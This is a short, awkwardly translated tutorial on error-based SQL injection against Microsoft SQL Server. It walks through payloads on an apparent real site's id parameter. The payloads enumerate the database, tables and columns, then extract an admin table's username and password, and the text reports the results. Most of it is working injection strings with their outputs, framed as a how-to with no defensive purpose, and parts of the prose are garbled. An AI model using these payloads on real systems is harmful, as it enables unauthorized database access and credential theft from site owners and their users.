Mssql with error injection example

Mssql with error injection example

MySQL has an explicit error injection and MSSQL. This article describes MSSQL's explicit error injection.

The number of statements is relatively small. You can understand and apply the statements yourself.
Sub. php? Table = performance & id = 12

Principles and instructions
[Note] If only the conversion type is used and some special characters are not spelled together, the value itself is an int value. convert it to vchar and compare it with the int value, mssql still enforces int-based comparison (it is estimated that it is like a weak programming language, subjective speculation, and no research). In this way, no errors will occur.

It can only be divided into two parts, which is too slow.
In the past, when mssql was injected for the first time, the conversion still failed. In many cases, the + sign is filtered, so the plus sign + of the string connection demonstrated here must be url encoded.
Id = 12 and db_name ()> 0 --
The current data name zhengheng

Id = 12 and (select cast (count (*) as varchar (10) % 2b '^' from [zhengheng] .. [sysobjects] where xtype = 'U' and status> 0)> 0 --
Number of tables in the zhengheng Database

Id = 12 and (select top 1 name from [zhengheng] .. [sysobjects] where xtype = 'U' and status> 0 and id = 1)> 0 --
Sysobjects is a system table that can be used to query data. Http://blog.csdn.net/ning517/archive/2008/03/19/2196306.aspx
Id column. According to the id of each violent table name, the first is adminuser
 
Id = 12 and (select top 1 name from [zhengheng] .. [syscolumns] where id = 357576312 and colid = 1)> 0 --
Column name. The colid increments one by one.

Id = 12 and (select cast (count (*) as varchar (200) % 2b '^' from adminuser where 1 = 1)> 0 --
Number of records

Id = 12 and (select top 1 (cast ([username] as nvarchar (100) % 2b '^' % 2b (cast (password as nvarchar (100 ))) from adminuser where id = 1)> 0 --

Username and password

The final result is as follows:
Adminuser table: admin and liying
// Silic. Org